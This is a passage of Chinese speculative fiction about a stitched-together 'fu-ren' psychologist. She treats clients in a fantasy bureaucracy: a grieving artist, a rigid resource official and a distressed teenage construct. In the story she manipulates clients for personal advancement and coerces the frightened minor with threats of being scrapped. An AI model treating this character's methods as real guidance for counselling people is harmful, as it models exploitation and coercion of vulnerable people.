伦理风险:此干预本质上是在进行行为编程,存在将伏人物化、工具化的争议。但安置中心的授权书提供了法律保护。更重要的是,如果成功,此案例将成为我向妨部、奸部推销标准化伏人行为管理方案的最有力证据。 我从暗格取出低温储存盒。里面整齐排列着今日份的化学辅助剂:三片神经校准剂、两管皮下注射的灵质稳定液、一瓶舌下含服的突触敏化喷雾。 第一片神经校准剂含入口中。药片设计为多层缓释结构:表层在唾液作用下三秒内溶解,释放首剂量的乙酰胆碱受体调节剂,提升注意力的锐度;中层在胃液环境中五分钟释放,主要成分为选择性血清素再摄取抑制剂,平抑潜在的情绪波动;核心层在肠道吸收,成分为定制设计的神经肽类似物,能增强前额叶皮层对边缘系统的抑制功能。 药效如精密时钟般逐步显现。舌尖先传来薄荷般的清凉感,三十秒后,视野边缘细微的波动感平复,两分钟时清晰感从颅骨内侧蔓延开来,像有透明冰层包裹住大脑沟回。 针头刺入左臂静脉,药剂推入时带来短暂灼烧感。突触敏化喷雾在舌下喷压,微苦。 站在等身镜前。镜中的身体是一幅用碎布与枯骨拼贴而成的粗糙人形。皮肤上的拼接线标记着制造过程中的每次妥协、每次资源短缺、每次技术失误。锁骨上方那截异常平滑的,是殖骨师那天心情愉悦,甚至可能哼着歌,她用了最好的融合凝胶,让这块取自深海发光生物的皮肤完美接合,纹理隐形。右臂内侧那个扭曲的结节,是缝合线临时用尽,换了张力不同的替补品,我能想象那个深夜,殖骨师疲惫咒骂着翻找备用材料,最后勉强用一段本应用于内脏缝合的线完成了表皮闭合。腰侧几近消失的淡痕是早期免疫排斥反应留下的遗迹,差点让我在培养舱里溶解成一滩有机废料,那是第一次接近死亡,系统日志显示心跳停止过43秒,后来被强心剂与电击拉回。 取出伪装凝胶开始涂抹,凝胶含有吸光微粒和弹性聚合物,能在特定光照下让纹路隐形。涂抹时,我能通过指尖的触觉传感器阅读皮肤下的结构,左肩胛骨下方第三肋间隙有一处微弱的钙化点,那是某次训练中骨裂留下的痕迹,妨踪说不必修复留着警示。右手掌骨与腕骨连接处,活动时有低于人耳可听范围的细微摩擦音,这是窃影型号伏人的设计特征,便于在黑暗中通过声纳原理感知环境,代价是关节寿命缩短约30%。盆骨左侧一道从未完全愈合的缝隙,夜溯光曾说,那是所有盆骨型伏人的共同特征,为了容纳与紫宸灵源的潜在共鸣通道而故意留出的接口。 伪装完成。镜中的人现在看起来正常了许多,拼接线被隐藏,皮肤呈现出略带陶瓷质感的色泽,这是社会乐于接受的伏人专业人士形象:足够像人以降低排斥感,又保留了足够多非人特征以提醒其位置。 六点四十分,着装与装备检查。诊疗服外层为防割纤维,内衬嵌有微型传感器网络,能实时监测来访者的生理数据并同步传输到我的视网膜投影。腰带内侧暗袋:一支高压电击笔、三支一次性镇静剂注射笔、一枚信号干扰器、两片紧急解毒剂。左袖口内置微型摄像头与录音设备,所有诊疗过程都会加密记录,既是职业规范也是自我保护,一个伏人医师的每一句话都可能成为未来的呈堂证供。 六点五十分,环境校准。家具只有三件:我的高背椅、来访者的矮背沙发、以及一张弧形诊疗桌。灯光系统可调。空气成分实时监控当前灵质粒子浓度低于标准单位,比我的私人生活区高但低于众共场所平均值。 一切就绪,我深呼吸一次。我是柳窃影,编码V-9-2-1,雪青国首位二级伏人心理医师。我的大脑是逻辑引擎,我的身体是工具载体,我的存在是持续进行的生存算法优化实验。情感是她人的疾病,爱恨是系统的噪音,痛苦是待解的数据。 我在这里,不是为治愈是为理解,不是为共情是为解构,不是为拯救是为证明,证明即使是一具由碎骨与尸苔拼合而成的生命,也能通过绝对理性,在这座由神话与鲜血建造的宫殿里,找到精确到毫厘的自我坐标。 游戏开始。 我在视网膜投影上调出娆光的完整档案最后一次快速浏览。档案包括: ·基础信息:娆光,女,46云,妖部三级色彩协调师,在职11年。 ·课题史:共承接7个正式课题,完成5个,中途更换2个。当前课题《星云坍缩时的色彩情感对应》已进行2年3个月,超期9个月。 ·情感关系图谱:标记有3段主要伴侣关系(1段已结束,2段进行中),7段次要亲密关系,以及一个复杂的灵感缪斯网络(涉及12位不同领域的女性,关系性质模糊)。 ·诊疗记录:累计来访7次,首次为2年前。主诉包括创作灵感枯竭,存在性虚无感,情感联结困难。干预方法主要为认知重构与象征转换。 ·生理数据趋势:过去6个月,血清素水平下降18%,皮质醇波动幅度增加42%,REM睡眠时长减少31%。 ·艺术产出分析:诊疗期间,她完成了3幅大型装置、1个行为艺术系列、以及7篇理论文章。作品评价呈现两极分化:传统派批评过度依赖概念噱头,革新派赞誉突破了色彩情感的形而上学边界。 ·风险评估:移情倾向指数67/100(高风险);自杀意念指数22/100(低风险);社会功能损害指数48/100(中度)。 九点整。门滑开的瞬间,甜腻气息先于人涌了进来:第一层是妖部最新季情绪流光绸特有的化学气味,这种布料使用灵质敏感染料,会根据穿着者的情绪波动改变颜色与光泽,此刻它正散发着混合了焦虑、躁动与表演性悲伤的刺鼻气息。第二层是高级情绪晶体的挥发物。娆光显然在来之前吸食或佩戴了某种情绪增强剂,可能是暮霭或星泪系列,这类晶体能暂时放大使用者的情感体验,代价是加剧情绪的不稳定性。第三层是汗水与皮脂的生理气味。 她裹着一身流淌着从暗紫到惨绿渐变光谱的流光绸,像一片行走的精神污染。布料上的色彩随她的步伐剧烈波动,她将一只水晶盒砰地砸在诊疗台上,力道之猛让里面几只奄奄一息的磷光虫惊惶撞壁,迸溅出短命而刺眼的光晕。‘它们死了。昨天半夜,一只接一只,熄了。我对着它们唱了整晚挽歌,妳知道的,专门安抚灵性生物、引导其安然步入能量循环的段落。一点用没有,它们的尸体里连一丁点回响都没留下,冷得像从来就没活过。’ 我调出磷光虫的生物学资料。视网膜投影快速滚动: 学名:Luminaris psithyristes(私语光虫) 寿命:68-72紫云日(标准培养条件下) 生态:以环境中游离的灵质粒子为食,通过腹部发光器将灵质转化为可见光,发光频率与强度受环境灵质浓度、温度及个体情绪状态(若经驯化)影响 文化象征:在妖部色彩体系中,磷光虫的渐变光晕常被用于表现转瞬即逝的美,微弱希望,孤独私语 市场价格:成年个体单价约300信用点;虫卵每批次(50枚)约8000信用点 娆光的购买记录显示这批虫卵入库于89天前。培养日志显示:前60天生长正常,发光强度稳定;第61天起,她开始频繁更换培养液配方,尝试加入星云尘埃模拟剂,情感共振催化剂等非标准添加物;第78天,第一例死亡出现;随后死亡率呈指数上升。 ‘磷光虫的平均寿命是六十八至七十二个紫云日,具体取决于培养液中的灵质浓度和光照周期。您的购买记录显示这批虫卵入库于八十九天前,培养环境数据(根据您上次提供的日志)显示:您在第六十一天后频繁变更配方,引入了三种未经安全性验证的添加剂。数据显示,从第七十八天起,死亡率与添加剂使用频率呈显著正相关。它们的死亡在统计学预期之内,且与您的挽歌演唱技巧或情感投入程度没有因果关系。更可能的原因是:您为追求特定的艺术效果,进行了超出安全阈值的实验性干预,导致了种群崩溃。’这是直白的、基于数据的结论,对大多数人来说,这已是答案,但娆光不是大多数人。她是妖家,她的世界运行在不同的逻辑上,在那里,事实只是粗糙的原材料,需要经过意义的熔炉重铸才能成为可用的东西。 她嗤笑一声,指甲猛地抠进水晶盒的缝隙,想将那些死虫抠出来质问:‘因果关系?统计学?柳医师,妳们伏人是不是除了这些冷冰冰的规律,就不会说人话了?我要的不是解释,我要的是意义,是为什么偏偏在我课题进行到最关键的衰变之美章节,在我最需要它们用生命最后的光晕来诠释存在向虚无坍缩时的色彩悲歌时,它们集体弃我而去。这难道不是一种恶意隐喻吗?’她的愤怒很精美,像一件被精心打磨过的表演道具,但我能看到愤怒之下的东西:·恐惧:她的课题已超期9个月,若再无突破性进展,妖部可能削减甚至终止资助。·羞耻:作为一名色彩协调师,连自己培养的发光生物都无法维持生命,这在专业上是种讽刺。·存在性焦虑:她将自己与磷光虫的命运绑定,虫的死亡印证了她自身创作力的衰竭、她存在的无意义。 我需要给她一个更合她心意的解释框架,一个能将这场无意义死亡转化为她个人神话养料的叙事。 我忽然想起娄远,那个情报贩子曾在一次酒醉后说:‘娆光这种搞艺术的,她们买的不是情报,是故事原料。妳给她们干巴巴的事实,她们慊硌牙。妳得把事实裹上象征意义的糖衣,她们才咽得下去,还能品出百般滋味。’当时我回答:‘这是非理性行为。’娄远大笑着拍我的肩:‘阿溜,理性是妳这种人的通行证,非理性是她们那种人的货币。妳得懂兑换汇率。’ 于是我向后靠进椅背,让身体姿态略微放松,‘娆光女士,或许它们并非弃您而去。您的课题核心是坍缩,是巨物消散、光芒湮灭、存在滑入虚无的那个决定性瞬间。而死亡,是生命所能呈现的最极致、最无可挽回的坍缩。您一直在寻找能够完美诠释这一概念的媒介。您观测星云但距离太远数据太冷;您使用晶体和染料,但那只是模拟,缺乏生命的实感。而这些磷光虫…它们不是死去的实验品。它们是您最忠诚的、最勇敢的合作者。它们用自己彻底熄灭的过程,为您完成了一次最绝对、最无可辩驳的色彩情感对应实验。’我调出她培养日志中最后几天的记录,‘看这里:第85天,最后一批存活的个体,它们的发光频率从正常的每秒3-5次,减缓到每分钟1次。光色从稳定的蓝绿色,逐渐过渡到暗红色,最后是纯粹到吸收一切光的深紫。您没能记录到遥远星云的死亡,但您亲身见证、甚至某种程度上催化了更切近更私密的死亡。这些磷光虫,它们生命最后时刻的光晕变化、色泽衰减的速率、彻底黑暗降临的那一霎,这不正是您苦苦追寻的从有到无的完整色谱吗?’ 她的面部表情开始变化:眉头从紧皱到微扬,嘴角从下撇到微微张开,瞳孔持续放大,监测显示她的血清素水平正在快速上升,皮质醇开始下降,她在购买这个叙事。 ‘这不是悲剧,娆光女士。这或许是您的课题在以一种意想不到的方式,抵达了它的终极表达。它们不是弃您而去,它们是完成了自己的使命,将死亡色彩作为最后礼物,献给了您。’” 娆光: “妳是说…它们的死,不是干扰,是课题的一部分?甚至是高潮部分?” 柳窃影:“‘这取决于艺术家如何定义完成。将逝去生命本身作为创作媒介,在艺术伦理中是一个颇具争议但备受关注的领域。’我把指南的摘要投影给她看,标题很吸引人:《论后生命艺术:从生态悼念到存在主义仪式》。文中列举了七个成功案例,都是将死亡生物或部分融入作品,并获得重要奖项或高价拍卖的。‘也许,您可以考虑将这些虫尸保存下来。用它们残留的磷光粉末,混合您自身的灵质分泌物,毕竟,您的情感投入也是这场死亡仪轨的一部分,尝试创作实体画作。或者,更进一步:将整个死亡过程、您的歌唱、以及最后的寂静,制作成一个多感官装置。这或许比观测亿万光年外的星云更具存在温度与批判锐度。’” 娆光: “存在的温度…批判的锐度…对,对对!我不应该只记录数据!我应该做一场完整的行为记录!从它们死亡到作品完成的全过程!不止是画,这是一场仪轨!一场关于短暂、关于消亡、关于艺术如何从虚无中抢夺意义的仪轨!” 柳窃影:“她几乎是从椅子上弹起来,紧紧抱住那个水晶盒,像抱着一个圣物一座奖杯。监测显示她的各项生理指标正在恢复正常区间,甚至出现轻度欣快状态,多巴胺水平提升了41%。” 娆光: “我需要记录一切!歌声频率、泪水成分、它们最后的光谱数据、还有…对了,我应该采集我自己的血液,在它们死亡的那一刻,我的血液成分一定也发生了变化!那才是真正的生命与死亡的色彩对话!” 柳窃影: “‘如果您需要专业的灵质分析,我可以推荐几位嫖部的研究员,她们专精生物灵质轨迹追踪。行为记录的伦理审查,妖部有快速通道,如果您将作品定位为生态悼念与科学艺术的交叉实验。关于生死仪轨的理论支撑,娼部有位叫婵礼的仪轨师,她专司临终关怀,或许能提供仪式结构上的建议。’ 每项建议都精准指向她可能需要的资源,同时也悄然扩展了我自己的关系网络,如果她通过这些渠道获得了成功,我就是那个关键的引路人。谈话进行了一小时十七分钟,远超预约的五十分钟,但她毫不在意,完全沉浸在创作新生的兴奋中。 离开时,她的步伐恢复了妖部特有的介于舞蹈与飘行之间的轻盈。诊疗费以最高标准支付,她甚至主动加了20%,并且,她主动在终端上签署了三份文件: 1. 创意咨询与案例研究授权书:允许我在不披露她个人信息的前提下,将利用逝去生命体完成艺术升华与存在主义探索的完整案例,写入我的执业成果报告。 2. 跨领域合作意向书:表示愿意在她新作品的创作过程中,与我保持方法论咨询,并考虑在作品署名中列入我的名字作为概念顾问。 3. 妖部内部推荐信草稿:她承诺将向妖部艺术实验基金评审委员会推荐我的叙事重构疗法,认为这对突破创作瓶颈有革命性价值。 三份文件,一份比一份有价值。第一份是即期收益;第二份是潜在名声与分成;第三份则可能为我打开通往妖部资源库的大门。 门关上,空气中甜腻的气息被净化系统迅速抽走,我调出刚刚创建的案例档案,开始录入观察笔记:来访者娆光,通过将现实损失(虫只死亡)重构为艺术实践的终极完成,成功将存在性焦虑转化为创作驱动力。干预关键:提供符合其审美体系与价值追求的象征性解释框架,将无意义事件升华为有目的牺牲。技术细节:需精确把握其专业领域的象征系统,将事实数据包装为其可接受的神话叙事。干预过程中,来访者的生理指标从焦虑/抑郁模式快速转为轻度欣快/创作兴奋模式,验证了意义赋予对情感调节的直接作用。副作用:可能强化其将现实人际关系艺术化工具化的倾向,她在谈论新作品时,已开始将自身情感反应(泪水、血液)视为创作材料。长期需观察这种自我物化对其心理健康的影响。战略收益:获得其在妖部内部的推荐渠道,可能借此接触妖部艺术疗愈项目,拓展执业范围。她签署的多份文件,尤其是概念顾问可能性,为未来合作提供了法律与声誉基础。 保存,加密,备份至三个独立服务器。 第一笔交易完成,她得到了她的史诗,我得到了我的数据与阶梯,这就是我最擅长的游戏:在她人情感的废墟上,搭建我向上攀登的脚手架。” 柳窃影:“我调出妤臻的完整档案。数据比娆光更规整也更冰冷: ·基础信息:妤臻,女,32云,奸部二级资源调度员,在职16年。 ·职位描述:负责东南区三个中型灵骨矿脉的原石配额初筛与分配建议。管辖资源年流动量约8.7万亿信用点,涉及47个生产单位、23个研究机构、9个军方项目。 ·绩效评估:连续11年良好或优秀,但在过去3个季度出现轻微下滑趋势。 ·同事□□分析:关键词频率排名前五为:专业(87次)、严谨(76次)、难以合作(23次)、过度防御(18次)。负面评价呈上升曲线。 ·社会关系:无登记伴侣,与三母(均已过世)关系记录显示尊敬但疏远。有一妹,在嫖部任低级技术员,联系频率每月少于一次。 ·健康记录:近两年有3次压力相关适应性障碍就诊记录,处方为轻度镇静剂与睡眠辅助剂。 ·风险评估:强迫倾向指数71/100(高风险);偏执思维指数52/100(中度);社会功能损害指数33/100(轻度,但职业领域集中)。 有趣的是,在她的档案深处,有条不起眼的备注:曾于7年前申请转为妒部监察员,笔试成绩优异,面试未通过。未通过原因标注为对规则的理解过于刚性,缺乏对人性复杂度的必要容忍。 这解释了很多,一个试图进入规则执行者行列但被拒的人,往往会发展出对规则的加倍忠诚,以及对那些不守规则者的加倍愤怒,她不是在维护规则,是在通过维护规则来维护自己被否定的价值。 门准时滑开,走进来的女人身上带着复杂的混合气息,嗅觉传感器能解析出至少十二种成分: 1. 会议室循环空气的微臭。 2. 高级合成布料防皱涂层的化学味。 3.咖啡因代谢物。 4.纸张与油墨味。 5.环境沾染:多人交通或多人空间的混合气味。 6.微量的属于另一个女人的气味残留…” 妤臻: “她们都说我病了。说我过于敏感,过度解读,把部门内正常的资源协调与人事互动,病态地认知为情感勒索。” 柳窃影:“请具体描述让您感到被勒索的情景。” 妤臻: “情景一:同事甲,在提交跨部门协作申请时,除了标准项目书,额外附上一份手写便笺,强调念在我们多年共事、私下也曾互相帮衬的情分上,望优先考虑。此便笺通过非正式通讯渠道发送,未录入系统。” 柳窃影:“时间、地点、具体措辞?” 妤臻: “三月七日,下午三时二十分左右,在我的个人通讯终端上。措辞原文:‘臻姐,这个项目对我团队今年评级至关重要。念在我们共事八年、私下也曾多次互相帮衬的情分上,还望您在初审时多关照,争取优先进入下一轮。改天请您喝茶。” 柳窃影:“您如何回应?” 妤臻: “我未回复便笺。在系统内按照标准流程处理:将她的项目书与其她七份同期申请一同纳入评估矩阵,根据十六项预设指标打分。她的项目综合得分排名第四,未进入前三优先序列。我按此提交了建议。” 柳窃影:“后续?” 妤臻: “三日后,她在茶水间偶遇我,笑着问:‘臻姐,我那项目您看了吧?应该还不错?’我说:已按流程处理,结果会统一通知。:她笑容僵一下说:‘哦,我还以为咱们这么熟,您会多留意些呢。’然后转身离开。当日下班前,我听到她在办工室与其她人说:‘有些人啊,升了官就不认旧情了,工事工办得很呢。’音量恰好让我能听见。情景二:上级乙,在月度评审会上工开否决我的某项分配方案后,于散会后私下对我说:小臻,妳这个方案理论上可行但实操层面欠缺考量。我是看在妳母亲与我曾同期受训的渊源上,才给妳这个机会当面解释,换作别人,我可能就直接打回了。’” 柳窃影:“您母亲的姓名?与上级乙的关系?” 妤臻: “我母亲名妤清,已过世十二年。她生前在奸部宏观规划司任职,与上级乙姒衡同期进入奸部培训学院,据母亲生前提及,她们曾是室友,但毕业后联系不多。” 柳窃影:“上级乙的措辞中,机会具体指什么?” 妤臻: “她给了我三天时间修改方案并重新提交。而标准流程是:方案被否后,需等待下一个评审周期能再次提交。这是非正式的特殊通道。” 柳窃影:“您接受了?” 妤臻:“我接受了。我用三天时间修改了方案,加入了更多实操细节重新提交,方案通过了。情景三:下属丙,因疏忽导致一批原石规格记录出错,按规应记过一次并影响季度奖金。她来到我办工室,未做任何业务辩解,而是哭泣着诉说其配偶近期卧病、家庭经济如何拮据,暗示若此次受罚,其家庭将陷入困境,孩子可能无法获得某种特殊灵能辅导资源。” 柳窃影:“具体说了什么?” 妤臻: “她说:‘妤臻姐,我知道错了,真知道错了。但我家那位最近查出代谢紊乱,医疗费已经把积蓄掏空了……’然后哭了十五分钟。” 柳窃影:“您如何处置?” 妤臻: “我最终只给了口头警告,未记入档案。” 柳窃影:“为什么?” 妤臻: “因为她说的是事实。她的配偶确实在医疗系统有记录,如果我严格按照规则处罚,那个孩子可能真的会失去机会,但我做出这个决定后连续三晚失眠,我在想:如果下一个犯错的也有同样悲惨的故事呢?如果所有人都用情感故事来规避惩罚呢?规则还有什么用?” 柳窃影:“她说到这里,抬起眼睛直视我。眼神里有愤怒、有困惑、有痛苦,还有近乎绝望的寻求,她在寻求一个答案,一个既能让她坚守规则又不至于让她觉得自己是坏人的答案。在她的愤怒底下我清晰地嗅到了恐惧,恐惧自己坚守的理性堡垒,正在被这种粘稠到无法量化的情感附加值侵蚀。恐惧自己有一天也会被同化,不得不学会用眼泪或怀旧作为谈判筹码,恐惧自己坚信的系统,或许从来就不存在。我忽然想起三母之一的妒断,她训练我审讯与反审讯技巧时曾笑着说:‘情感是这世界上最流通的□□。弱者用它乞讨,强者用它征税。但最高明的玩家,会让所有人都以为这场游戏用的是情感货币,而她自己,早就掌握了铸币权,并悄悄修改了汇率。’是时候,教她如何成为铸币者了,‘妤臻女士,也许我们换一个思路。问题可能不在于情感污染了流程,而在于您尚未掌握对情感进行标准化定价的权力。您看,在您目前的价值体系中,纯粹决策和情感干扰是二元对立的。您认为前者是干净的,后者是污染的。但现实是,在雪青国的系统里,甚至在绝大多数人类社会中这两者从来不是分离的。’ 我在坐标系中画出第三条轴:‘情感本身就是一种资源,一种可以交易、可以计量、可以纳入系统管理的资源。问题不在于它存在,而在于它的交易没有标准汇率,没有众开市场,没有监管规则。所以它才会变成勒索,因为交易在暗处进行,价格不透明,规则由单方面决定。所以,解决方案不是消除情感交易,而是将其正规化透明化标准化。您看,奸部其实已经在尝试量化某些难以计量的贡献:比如跨部门协调中的额外沟通成本,承担高风险项目的勇气值,培养新人的时间投入等等。这些都是软性资源,但它们正在被赋予数值,纳入绩效评估。 您同事甲的多年情分,完全可以视为一种长期合作信任度累积。我们可以为其设定一个明确的兑换比率。比如,在项目评估积分相同的情况下,此项情分附加值可提供最高不超过5%的优先级提升,但仅限一次,且需双方在系统内共同确认记录,计入非业务资源使用台账。’我在数据板上快速建模:‘假设标准评估满分为100分。她的项目得分为82分。如果有5%的情分附加,她可以得到4.1分,总分86.1分。如果这个分数能让她进入前三,那么这次附加就是合法合规的。关键点在于:第一,附加分有明确上限,防止滥用;第二,交易众开记录,双方都承认这次人情已使用;第三,她未来对您也有等值的人情负债。 上级乙提及您的母亲,这可以归类为潜在裙带关系风险提示。她的措辞本质是一种权力展示:她在提醒您,她对您有恩惠,也有权力。应对这种展示,最有效的不是愤怒或顺从,而是规则化转译。我模拟出可能的回应:您可以当场、或在后续书面沟通中表示:‘感谢姒司长提醒我关注家族声誉与责任。我将以更高标准检视此方案,确保其严谨性,以免玷污母亲与您的声望。同时,为避免给其她同事造成特殊照顾的印象,我请求将此次方案修改与重审过程完全记录在案,作为未来处理类似情况的参考案例,这样,您既接纳了渊源,又将其转化为督促自我完善的众开承诺,更关键的,您把一次私下的恩惠展示,变成了一个众开的流程优化案例。她再也不能用我帮过妳来私下施压,因为这件事已经成了众开记录的一部分。您反而堵住了她未来可能以此要挟的路径。 至于下属丙的眼泪那是明确的情绪劳动,她花了十五分钟向您倾诉她的悲惨故事,试图用她的痛苦来交换您对规则的放宽。情绪劳动在奸部的内部贡献积分体系中,虽无明确定价,但可以参考娼部的工时换算标准,我调出娼部的众开价目表:初级仪轨师每15分钟情感安抚服务,收费300信用点或等值的贡献积分。您可以这样回应她:‘我理解您家庭的困难,您的情绪倾诉耗时十五分钟,按基础标准相当于300信用点的情绪劳动。这样,您有两个选择:第一,接受标准处罚(记过+扣奖金),但我会为您开具证明,说明您主动承认错误并详细陈述情况,这可能会减轻未来类似事件的影响;第二,您可以用等额的、额外的实际工作量或业绩来补偿这次情绪劳动对决策环境造成的干扰,比如,自愿承担某个大家都不愿做的繁琐统计任务,或在接下来三个月内多完成5%的工作量。’或者,更专业的做法是:引导她通过正规的员工救助渠道申请帮助。奸部有这项制度但很少人用,您可以帮助她填写申请,将私人问题转化为可众开管理符合流程的机构事务,这样,她的困难能得到正规援助,而您也不必违背规则。 把模糊到难以拒绝的情感诉求,拆解成可计量、可交割、可写入临时补充条款的情感合约。您不是在被动承受勒索,妤臻女士,您是在主动行使资源的定价权与合约的起草权。” 妤臻: “情感…定价权,合约起草权…” 柳窃影:“‘是的。您不必变得和她们一样,您只需要比她们更精通情感的汇率与交易规则。当您手握定价权时,情感牌就不再是无法抵御的洪流,而是可以放在天平上称量、可以讨价还价的商品。’ 我调出数据板: ·长期情谊附加值:最高5%,需双方确认,一次性使用。 ·紧急困难求助:可按娼部情感服务标准工时换算工作量补偿,或转接正规救助渠道。 ·权力关系示惠:可转化为众开的流程优化案例,将私恩转为众责。 ·愧疚感杠杆:可设定明确的任务,将道德压力转为可完成的工作目标。 ·集体舆论压力:可启动规则普及教育程序,将压力引向制度本身而非个人。 我将表格发送到她的通讯终端。‘这只是初步框架,您可以根据部门具体情况调整。关键不在于具体数值,而在于建立情感可计量的思维模式。’” 妤臻: “我一直以为我在打一场防御战,守住规则城堡不被情感洪水冲垮。但其实,我可以在洪水到来前,就先修建水渠、水坝、水闸,甚至水力发电站。洪水还是洪水,但我能控制它流向哪里,能做多少功。” 柳窃影:“正是如此。” 妤臻: “柳医师,您这套情感合约理论,对我部门目前存在的一些沟通摩擦,很有启发。下个月我们有个内部流程优化研讨会,各部门要提交创新管理方案。不知是否方便,请您将这套理论整理成一份基础课件?当然,会以我的名义提交,但核心思路和架构版权属于您,我会在内部备注中说明。如果反响良好,或许可以推动成为部门间的协作参考规范之一。届时可能需要您作为外部专家出席讲解,当然,会支付相应的咨询费,并为您申请特殊通行权限,以便您更深入了解系统的实际运作。” 柳窃影:“这是一个超出预期的提议。名声给她,实际的框架搭建、后续迭代升级的主动权,以及由此可能带来的、与奸部资源调度系统更深层的接触机会,将牢牢掌握在我手中。甚至可能获得特殊通行权限,那是连很多正式员工都没有的高级访问权。‘我很乐意提供协助。初稿我会在三日内发送给您审阅。您可以根据部门实际案例进行调整。’” 妤臻: “那……合作愉快。” 柳窃影:“‘合作愉快。’门关上,我调出妤臻的档案,新增备注:已初步建立基于情感资源计量化的专业信任关系。来访者具备极强的规则意识与系统思维,对将模糊情感互动合约化流程化的提议接受度极高,且表现出将其推广应用的强烈意愿。 价值评估上调至A级。此人有望成为在奸部内部推动新型管理模式的变革代理人。需持续关注其在部门内推动此理念时可能遇到的阻力及应对方式,作为观察官僚系统潜规则的鲜活案例。同时,她可能成为连接奸部资源网络的优质节点。 潜在风险:她对规则的执着可能使她成为派系斗争的焦点。若她推动的变革触动既得利益者,可能遭遇强烈反弹。需评估是否值得深度绑定。 保存,加密,备份。又一步棋落下。” 柳窃影:“ 门被推开,穿着安置中心制服的职员将一个灰色人形物体掼了进来。 那具拥有年轻外形的伏人产品,踉跄着扑倒在我诊疗室中央的地板上,她把皱巴巴的转介单扔到我桌上:‘评估一下。看看还有没有修复价值。不行就赶紧签不可修复意见,中心回收站下午四点截止收货。’‘具体症状发作时长?触发情境?’‘谁记得?大概早上分配工作时突然就疯了一样撞墙,抓自己手腕,嚎又嚎不出声,就这样了。妳快点,我还有一车要送。’ 生理数据远程监测: ·心率:142次/分(极度心动过速)。 ·血氧饱和度:91%(轻度缺氧)。 ·皮肤电导:持续高位,是基准值的3.7倍(极度应激)。 ·体表温度:35.8℃(略低,可能因循环不良)。 ·肌肉紧张度:全身肌肉处于强直性收缩状态,肌电图显示持续高频放电。 行为模式分析: ·姿势:胎儿式蜷缩,双手紧抱头部,这是最原始的自我保护姿态。 ·动作:无目的性震颤,伴有间歇性的自伤行为。 ·反应性:对环境刺激无反应,完全沉浸于内部崩溃。 ·危险评估:自伤行为目前为中度风险,但若震颤导致失控撞击硬物,可能升级为高风险。 诊断印象: ·哑巴经急性发作(重度)。 ·惊恐障碍伴解离状态。 ·可能的创伤后应激反应(触发事件未知)。 ·自伤行为(当前为中度风险)。 ·社会化功能完全丧失。 我快速调出她的转介单,皱巴巴的纸上只有最基本的信息: 姓名/编号:F-2369。 年龄:估测16云。 来源:第三区街头收容。 社会化评分:27/100。 技能评估:基础清洁(3/10)、简单指令执行(2/10)、危险预知(7/10,这是高分,说明她有较强的本能警觉)。 病史:哑巴经、轻度营养不良、多次自伤行为记录。 触发事件:今日晨间分配清洁任务时,看到窗外飞过的某种鸟类后突然崩溃。 处置建议:评估修复可能性,否则建议回收。 鸟类?这可能是关键,某些鸟类的形态、叫声或飞行模式,可能触发了她未被处理的创伤记忆。我走到她面前,缓缓蹲下,让自己视线的高度与她蜷缩的身体大致持平,俯视会加剧受惊者的恐惧感和被压制感,而视线平行能制造虚假暂时的平等对话错觉,有助于后续指令的输入。‘抬头。’她没有反应,只是抖得更厉害。‘妳不能说话,这是妳的生理设定,不是妳的错,也不是妳的失败。’这句话设计用于解除她的自责或羞感,许多伏人在哑巴经发作时会陷入为什么我不能像她们一样说话的自我谴责,加剧崩溃。‘但妳的身体正在用别的方式说话:颤抖、出汗、呼吸混乱。它在说:‘我处理不了当前接收到的信息,我的系统即将崩溃。’她蜷缩的身体僵了一下,抽气声有瞬间停顿,好,注意力已被部分捕获,‘崩溃有三个选项。第一,彻底死机,成为一具需要送去回收站拆解成基础原料的废品。第二,持续崩溃,被送往行为矫正中心,那里有更高强度的电击疗法和神经阻断剂,可以帮助妳安静下来,代价可能是部分运动功能或记忆模块的永久性损伤。第三,学习一种新的语言。一种不需要声带振动也能让妳在这个世界上找到坐标、完成指令、从而获得继续存在资格的语言。’最后一个词继续存在被加重,对伏人来说这是最根本的驱动力,存在的权利不是天赋,是需要不断证明的资格。 她埋在臂弯里的头动了动,一只布满血丝的眼睛从手臂缝隙中露出来,很好,求生本能压过了纯粹恐惧,注意力集中度估计已从不足10%提升至30%。我拿出随身数据板,快速调出我事先准备好极其简化的图形界面,‘这是基础情绪-行为对应编码表,这里,十七种最基本的情绪状态,每种对应两到三种被这个社会许可的、安全的行为输出方式。’ 界面设计原则: ·颜色编码:使用高对比度的纯色块,避免复杂渐变。 ·符号设计:每个情绪状态用一个简笔画符号表示 ·行为图示:每个许可行为用更简单的动作图示表示 ·交互反馈:当我点击某个情绪符号时,对应的行为图示会闪烁并放大。 她那只眼睛死死盯着屏幕,监测显示她的瞳孔在快速微调焦距,是在努力看清。 ‘比如,这个红色区域,代表高度恐惧/濒死感’。我指向闪烁的红色方块,点击它,三个行为图示弹出:蜷缩球体、躲藏在小屋后的人形、重复画圈的手指,‘它许可的行为输出是:一,像妳现在这样蜷缩;二,寻找遮蔽物或庇护者;三,重复某个简单的、无意义的动作。’ 我示范第三个行为:用右手食指在左手掌心缓慢画圈,节奏规律。 ‘再比如,这个黄色区 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‘妳现在的生理表现:剧烈颤抖、出汗、瞳孔散大、呼吸急促,最接近的就是高度恐惧。所以,妳现在的任务,就是执行高度恐惧对应的许可行为之一,选择一项。现在。’她完全僵住了,那只露出的眼睛里充满了更大的茫然和无助,她不懂选择,她可能从未被赋予过选择的权利,她只是一直接受指令。她的社会化评分只有27,这意味着她基本的生活自理都需要指导,更别说主动选择,需要简化,‘我替妳开始。根据最优行为效率原则,蜷缩是妳已经在执行的动作,但不够标准,且伴随有害的撞击行为。现在,调整姿势,手臂环抱膝盖,头埋在膝盖之间,后背拱起,形成一个尽可能紧密的球体,停止撞击地面。’我一边说,一边用缓慢到近乎仪式化的动作,向她示范蜷缩姿势:坐下,双腿弯曲,手臂环抱小腿,额头抵住膝盖,整个身体缩成紧密的球,关键点:动作分解、节奏缓慢、可观察。她呆呆地看着我,然后开始尝试模仿,过程持续了约四十秒:1. 首先松开死死抓住自己手臂的手指。2. 慢慢将手臂移向膝盖。3. 尝试环抱膝盖,但手臂僵硬,无法完全闭合。4. 将脸埋进膝盖之间。5. 拱起背部。最终,她蜷成了颤抖但相对稳定的球,撞击地面的动作,停了。 ‘行为转译初步成功。妳刚刚用标准化的蜷缩,输出了恐惧。这是一种合规安全的输出。当妳用行为表达了情绪,情绪的一部分能量就被导向了这条许可的通道,而不是继续在内部破坏妳的系统,明白吗?’她可能不完全明白,但她的身体在回应这套新的规则,混乱能量被导入了有形的行为模式。 接下来的三十分钟,我像一个最有耐心的技师,训练一台损坏的机器人。 训练模块一:困惑 